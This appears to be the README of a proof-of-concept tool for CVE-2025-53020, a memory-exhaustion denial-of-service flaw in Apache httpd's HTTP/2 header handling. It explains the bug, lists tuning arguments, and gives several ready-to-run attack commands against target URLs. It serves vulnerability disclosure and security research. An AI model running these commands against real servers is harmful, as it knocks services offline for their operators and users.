
PoC for CVE-2025-53020 - HPACK bombing for Apache HTTPD.
A proof of concept demonstrating CVE-2025-53020, a memory exhaustion vulnerability in Apache httpd's HTTP/2 implementation I found in mid-2025.
📖 Deep dive: galbarnahum.com/posts/apache-httpd-cve-2025-53020
Apache httpd is vulnerable to a denial-of-service attack via HTTP/2 header processing. The vulnerability exists due to unnecessary memory duplication when handling repeated header names in HTTP/2 requests.
h2 - HTTP/2 protocol librarytqdm - Progress bar for attack visualizationpip install h2 tqdm
python poc.py --url https://target.example.com/
| Argument | Default | Description |
|---|---|---|
--url | required | Target URL (e.g., https://example.com/path) |
--header-name-length | 4064 | Length of the header name (max: 4064) |
--header-reps | 2063 | Number of header repetitions per request (recommended max: 2063) |
--requests-per-batch | 1 | Number of requests per batch |
--batches | 100 | Number of batches to send |
--delay | 0 | Delay between batches in seconds |
--num-headers-to-repeat | 1 | Number of different header names to create (uses chars a, b, c, etc.) |
Standard attack against HTTPS target:
python poc.py --url https://target.com/api/endpoint
Attack with custom header settings:
python poc.py --url http://localhost:8080/test --header-reps 1000 --batches 200
Attack with multiple distinct header names:
python poc.py --url https://target.com --num-headers-to-repeat 3 --header-name-length 3000
Slower attack with delay between batches:
python poc.py --url https://target.com --delay 0.5 --batches 500
The PoC includes a patch for the h2 library's HPACK encoder to correctly handle empty header values. This fixes a bug where the encoder incorrectly indexes headers with empty string values (treating "" as falsy instead of checking for None).
--num-headers-to-repeat > 1, header name length should be < 4000Apache httpd versions vulnerable to CVE-2025-53020. Check the official Apache security advisories for specific version information and patches.
⚠️ This tool is provided for educational and authorized security testing purposes only.
This project is for security research purposes. Use responsibly and ethically.